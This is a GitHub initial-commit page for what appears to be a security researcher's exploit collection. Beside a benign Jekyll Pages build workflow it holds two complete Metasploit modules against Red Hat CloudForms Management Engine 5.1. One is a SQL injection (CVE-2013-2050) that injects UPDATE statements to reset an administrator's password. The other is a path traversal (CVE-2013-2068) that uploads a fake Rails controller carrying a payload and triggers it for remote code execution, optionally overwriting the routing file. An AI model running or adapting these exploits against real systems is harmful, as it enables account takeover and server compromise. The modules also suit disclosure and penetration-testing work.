Skip to content

Commit c206d6d

Browse files
committed
Initial commit
0 parents  commit c206d6d

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

42 files changed

+6149
-0
lines changed

.github/workflows/build.yml

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
name: build
2+
3+
on:
4+
push:
5+
branches: main
6+
7+
workflow_dispatch:
8+
9+
jobs:
10+
build:
11+
name: Build
12+
runs-on: ubuntu-latest
13+
14+
steps:
15+
- name: Checkout
16+
uses: actions/checkout@v3
17+
18+
- name: Setup Ruby
19+
uses: ruby/setup-ruby@v1
20+
21+
- name: Setup Pages
22+
uses: actions/configure-pages@v1
23+
24+
- name: Build
25+
run: |
26+
touch -a README.md
27+
rm README.md
28+
bundle install
29+
bundle exec jekyll build
30+
cp _site/README.md README.md
31+
32+
- name: Upload artifact
33+
uses: actions/upload-pages-artifact@v1
34+
35+
- name: Commit
36+
run: |
37+
git config --global user.email "[email protected]"
38+
git config --global user.name "Ramon de C Valle"
39+
git add -A
40+
git commit -m "Auto commit changes" || true
41+
git push origin main
42+
43+
deploy:
44+
environment:
45+
name: github-pages
46+
url: ${{ steps.deployment.outputs.page_url }}
47+
48+
name: Deploy
49+
needs: build
50+
51+
permissions:
52+
id-token: write
53+
pages: write
54+
55+
runs-on: ubuntu-latest
56+
57+
steps:
58+
- name: Deploy to GitHub Pages
59+
id: deployment
60+
uses: actions/deploy-pages@v1

.gitignore

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
.bundle
2+
.jekyll-cache
3+
.sass-cache
4+
Gemfile.lock
5+
_site
6+
vendor

.ruby-version

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
3.3

Gemfile

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
source 'https://rubygems.org'
2+
gem 'jekyll'

_data/exploits.yml

+373
Large diffs are not rendered by default.

cfme_manageiq_evm_pass_reset.rb

+171
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'bcrypt'
7+
require 'digest'
8+
require 'openssl'
9+
10+
class MetasploitModule < Msf::Auxiliary
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize
14+
super(
15+
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
16+
'Description' => %q{
17+
This module exploits a SQL injection vulnerability in the "explorer"
18+
action of "miq_policy" controller of the Red Hat CloudForms Management
19+
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
20+
changing the password of the target account to the specified password.
21+
},
22+
'Author' => 'Ramon de C Valle',
23+
'License' => MSF_LICENSE,
24+
'References' => [
25+
['CVE', '2013-2050'],
26+
['CWE', '89'],
27+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
28+
],
29+
'DefaultOptions' => {
30+
'SSL' => true
31+
},
32+
'DisclosureDate' => 'Nov 12 2013'
33+
)
34+
35+
register_options(
36+
[
37+
Opt::RPORT(443),
38+
OptString.new('USERNAME', [true, 'Your username']),
39+
OptString.new('PASSWORD', [true, 'Your password']),
40+
OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']),
41+
OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']),
42+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
43+
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
44+
], self.class
45+
)
46+
end
47+
48+
def password_for_newer_schema
49+
# Newer versions use ActiveModel's SecurePassword.
50+
BCrypt::Password.create(datastore['TARGETPASSWORD'])
51+
end
52+
53+
def password_for_older_schema
54+
# Older versions use ManageIQ's MiqPassword.
55+
if datastore['TARGETPASSWORD'].empty?
56+
'v1:{}'
57+
else
58+
password = '1234567890123456'
59+
salt = '6543210987654321'
60+
cipher = OpenSSL::Cipher.new('AES-256-CBC')
61+
cipher.encrypt
62+
cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32]
63+
encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final
64+
"v1:{#{Rex::Text.encode_base64(encrypted)}}"
65+
end
66+
end
67+
68+
def password_reset?
69+
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
70+
res = send_request_cgi(
71+
'method' => 'POST',
72+
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
73+
'vars_post' => {
74+
'user_name' => datastore['TARGETUSERNAME'],
75+
'user_password' => datastore['TARGETPASSWORD']
76+
}
77+
)
78+
79+
if res.nil?
80+
print_error('No response from remote host')
81+
return false
82+
end
83+
84+
if res.body =~ /"Error: (.*)"/
85+
print_error(::Regexp.last_match(1))
86+
false
87+
else
88+
true
89+
end
90+
end
91+
92+
def run
93+
print_status("Logging into #{target_url('dashboard')}...")
94+
res = send_request_cgi(
95+
'method' => 'POST',
96+
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
97+
'vars_post' => {
98+
'user_name' => datastore['USERNAME'],
99+
'user_password' => datastore['PASSWORD']
100+
}
101+
)
102+
103+
if res.nil?
104+
print_error('No response from remote host')
105+
return
106+
end
107+
108+
if res.body =~ /"Error: (.*)"/
109+
print_error(::Regexp.last_match(1))
110+
return
111+
else
112+
session = ::Regexp.last_match(1) if res.get_cookies =~ /_vmdb_session=(\h*)/
113+
114+
if session.nil?
115+
print_error('Failed to retrieve the current session id')
116+
return
117+
end
118+
end
119+
120+
# Newer versions don't accept POST requests.
121+
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
122+
send_request_cgi(
123+
'cookie' => "_vmdb_session=#{session}",
124+
'method' => 'GET',
125+
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
126+
'vars_get' => {
127+
'profile[]' => value_for_newer_schema
128+
}
129+
)
130+
131+
if password_reset?
132+
print_good('Password reset successfully')
133+
return
134+
else
135+
print_error('Failed to reset password')
136+
end
137+
138+
print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...")
139+
send_request_cgi(
140+
'cookie' => "_vmdb_session=#{session}",
141+
'method' => datastore['HTTP_METHOD'],
142+
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
143+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
144+
'profile[]' => value_for_older_schema
145+
}
146+
)
147+
148+
if password_reset?
149+
print_good('Password reset successfully')
150+
else
151+
print_error('Failed to reset password')
152+
end
153+
end
154+
155+
def target_url(*args)
156+
(ssl ? 'https' : 'http') +
157+
if rport.to_i == 80 || rport.to_i == 443
158+
"://#{vhost}"
159+
else
160+
"://#{vhost}:#{rport}"
161+
end + normalize_uri(target_uri.path, *args)
162+
end
163+
164+
def value_for_newer_schema
165+
"1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
166+
end
167+
168+
def value_for_older_schema
169+
"1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
170+
end
171+
end

cfme_manageiq_evm_upload_exec.rb

+149
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize
13+
super(
14+
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
15+
'Description' => %q{
16+
This module exploits a path traversal vulnerability in the "linuxpkgs"
17+
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
18+
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
19+
It uploads a fake controller to the controllers directory of the Rails
20+
application with the encoded payload as an action and sends a request to
21+
this action to execute the payload. Optionally, it can also upload a routing
22+
file containing a route to the action. (Which is not necessary, since the
23+
application already contains a general default route.)
24+
},
25+
'Author' => 'Ramon de C Valle',
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2013-2068'],
30+
['CWE', '22'],
31+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
32+
],
33+
'Platform' => 'ruby',
34+
'Arch' => ARCH_RUBY,
35+
'Privileged' => true,
36+
'Targets' =>
37+
[
38+
['Automatic', {}]
39+
],
40+
'DisclosureDate' => 'Sep 4 2013',
41+
'DefaultOptions' =>
42+
{
43+
'PrependFork' => true,
44+
'SSL' => true
45+
},
46+
'DefaultTarget' => 0
47+
)
48+
49+
register_options(
50+
[
51+
Opt::RPORT(443),
52+
OptString.new('CONTROLLER', [false, 'The name of the controller']),
53+
OptString.new('ACTION', [false, 'The name of the action']),
54+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
55+
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
56+
], self.class
57+
)
58+
59+
register_advanced_options(
60+
[
61+
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
62+
])
63+
end
64+
65+
def check
66+
res = send_request_cgi(
67+
'uri' => normalize_uri(target_uri.path, "ping.html")
68+
)
69+
70+
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
71+
return Exploit::CheckCode::Detected
72+
end
73+
74+
return Exploit::CheckCode::Unknown
75+
end
76+
77+
def exploit
78+
controller =
79+
if datastore['CONTROLLER'].blank?
80+
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
81+
else
82+
datastore['CONTROLLER'].downcase
83+
end
84+
85+
action =
86+
if datastore['ACTION'].blank?
87+
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
88+
else
89+
datastore['ACTION'].downcase
90+
end
91+
92+
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
93+
94+
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
95+
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
96+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
97+
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
98+
# According to rcvalle, all the version have not been checked
99+
# so we're not sure if res.code will be always 500, in order
100+
# to not lose sessions, just print warning and proceeding
101+
unless res and res.code == 500
102+
print_warning("Unexpected reply but proceeding anyway...")
103+
end
104+
105+
if datastore['ROUTES']
106+
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
107+
108+
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
109+
res = upload_file("../../config/routes.rb", data)
110+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
111+
# According to rcvalle, all the version have not been checked
112+
# so we're not sure if res.code will be always 500, in order
113+
# to not lose sessions, just print warning and proceeding
114+
unless res and res.code == 500
115+
print_warning("Unexpected reply but proceeding anyway...")
116+
end
117+
end
118+
119+
print_status("Sending execute request to #{target_url(controller, action)}...")
120+
send_request_cgi(
121+
'method' => 'POST',
122+
'uri' => normalize_uri(target_uri.path, controller, action)
123+
)
124+
end
125+
126+
def upload_file(filename, data)
127+
res = send_request_cgi(
128+
'method' => datastore['HTTP_METHOD'],
129+
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
130+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
131+
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
132+
'filename' => filename,
133+
'md5' => Rex::Text.md5(data)
134+
}
135+
)
136+
137+
return res
138+
end
139+
140+
def target_url(*args)
141+
(ssl ? 'https' : 'http') +
142+
if rport.to_i == 80 || rport.to_i == 443
143+
"://#{vhost}"
144+
else
145+
"://#{vhost}:#{rport}"
146+
end + normalize_uri(target_uri.path, *args)
147+
end
148+
end
149+

0 commit comments

Comments
 (0)